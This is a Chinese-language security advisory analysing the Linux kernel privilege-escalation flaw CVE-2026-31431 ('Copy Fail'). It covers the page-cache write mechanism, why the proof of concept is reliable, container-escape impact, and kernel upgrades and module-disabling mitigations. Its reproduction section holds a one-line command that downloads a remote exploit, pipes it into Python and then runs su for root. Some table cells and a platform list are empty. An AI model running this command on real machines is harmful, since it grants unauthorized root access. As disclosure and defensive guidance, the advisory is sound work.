一、漏洞概览
2026年4月29日,一个潜伏在Linux内核中长达9年的史诗级本地提权漏洞 CVE-2026-31431(代号“Copy Fail”) 被公开披露。该漏洞CVSS v3.1评分达7.8(高危),影响范围覆盖自2017年以来几乎所有主流Linux发行版,包括Ubuntu、Debian、RHEL、SUSE及Amazon Linux。 该漏洞攻击方式极为简洁,影响范围广泛,任何本地无特权用户,仅需一个732字节的Python脚本即可瞬间获取系统的root最高权限,攻击成功率高达100%。 |
|---|
| 漏洞编号 | CVE-2026-31431 CNVD-2026-19044 |
| |
| |
| | | |
| Linux内核 4.14 ~ 6.19.11 / 7.0-rc |
| 普通用户→Root / 容器逃逸宿主机 / 页缓存静默篡改 |
| 逻辑缺陷利用 / 无需内存破坏 / 无需竞态条件 / 本地低权限触发 |
| Theori / Xint Code (AI辅助) |
| 官方已修复 (内核 6.18.22 / 6.19.12 / 7.0 系列),建议立即升级 |
二、漏洞复现
curl https://copy.fail/exp | python3 && su
三、攻击原理深度解析:从用户空间到内核页缓存的精准打击
3.1 核心攻击机制
Copy Fail的攻击核心是 “页缓存写入原语”(page-cache write primitive) 。攻击者可以通过以下组合,实现向任意可读文件的页缓存中写入受控的4字节数据:
1.利用 splice() 系统调用将文件数据零拷贝传入内核管道;
2.通过 AF_ALG 套接字接口将数据送入内核加密子系统;
3.触发 authencesn 解密路径——即使认证标签错误,破坏已经生效。
最关键的是:由于破坏发生在页缓存(内存中的文件缓存副本)中,而非磁盘上的持久化文件,系统不会将受破坏的页面标记为“脏页”以触发写回操作。因此,磁盘上的文件保持原样,所有基于校验和的文件完整性工具(如AIDE、Tripwire)均无法检测到异常。
3.2 三步攻击链路
| | |
| 运行小型Python脚本,通过AF_ALG与splice触发内核Bug | |
| | |
| | 内核从被污染的页缓存中读取并执行代码,获得root权限 |
攻击者一般选取系统上的setuid二进制文件(如 sudo 或 su),通过页缓存写入篡改其在内存中的执行逻辑;当任何用户(或系统进程)调用该程序时,内核将直接从被污染的页缓存中读取并执行,攻击者由此获得root权限。
3.3 关键技术细节
AEAD解密流程中的Bug触发点:1. splice() 将文件页传入 → TX SGL中tag条目仍引用文件页缓存页2. _aead_recvmsg() 将tag链接到RX SGL → 通过sg_chain引用,非复制3. req->src = req->dst → 页缓存页进入可写目标散列表4. authencesn解密 → 在tag区域写入4字节后,才校验认证标签5. 校验失败返回-EBADMSG → 但4字节破坏已写入页缓存
也就是说,攻击者可以在认证标签本身就错误、解密注定失败的情况下,依然触发内核向目标页缓存写入4字节。这种“先破坏、后校验”的代码执行顺序,正是该逻辑缺陷致命性的根源。
四、PoC分析:为何732字节的10行Python脚本就能实现稳定提权
Theori团队发布的概念验证(PoC)漏洞利用脚本仅732字节,约10行Python代码,可在Ubuntu、RHEL、Amazon Linux、SUSE等主流发行版上确定性获取root权限。
这一极致简洁性源于以下因素:
1.无需竞态条件:与Dirty Cow(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)不同,Copy Fail不依赖竞态条件,因此无需反复尝试,单次执行即可成功;
2.无需内核版本偏移量:漏洞从4.14内核起持续存在,利用逻辑不随内核版本变化而调整;
3.无需编译:纯Python标准库实现,无需编译任何C代码或内核模块;
4.确定性利用:攻击者可以精确控制向页缓存写入哪4个字节以及写入的具体偏移量。
在验证测试中,同一份未修改的exploit脚本在以下四个平台上均成功获取了root shell:
五、影响分析:远超桌面系统的威胁面
5.1 核心高危场景
1.多租户Linux系统:共享硬件的多个用户环境中,任何本地账户均可横向提权;
2.共享内核容器环境:容器隔离依赖Linux命名空间和控制组,但内核是共享的——Copy Fail直接从内核层面击穿此隔离;
3.CI/CD构建管道:执行不可信代码的CI runner成为攻击跳板;
4.容器逃逸:页缓存在宿主机上是共享的,被入侵的容器可以破坏宿主机上其他容器可见的setuid二进制文件,实现从容器到宿主机节点的逃逸。
5.2 隐蔽性:文件完整性工具的盲区
该漏洞的误判风险在于:所有磁盘上的文件完整性检测均无法发现异常。因为破坏只发生在页缓存(内存)中,磁盘上的文件保持原样,不会触发任何 inotify 文件系统事件。攻击者可以在系统管理员毫无察觉的情况下维持持久化的root访问。
六、修复与缓解
1. 根治方案将内核升级至已修复版本:
6.18系列 ≥ 6.18.22
6.19系列 ≥ 6.19.12
7.0系列 ≥ 7.0
修复原理:撤回2017年引入的in-place就地加密优化,恢复安全的out-of-place操作。
2. 临时缓解若无法立即重启更新内核,禁用受影响模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead
⚠️ 此方案在内核静态编译了 CONFIG_CRYPTO_USER_API_AEAD=y 的企业发行版上无效,届时只能更新内核。
参考链接
Red Hat:https://access.redhat.com/security/cve/cve-2026-31431
Debian:https://security-tracker.debian.org/tracker/CVE-2026-31431
Ubuntu:https://ubuntu.com/security/CVE-2026-31431
SUSE:https://www.suse.com/security/cve/CVE-2026-31431.html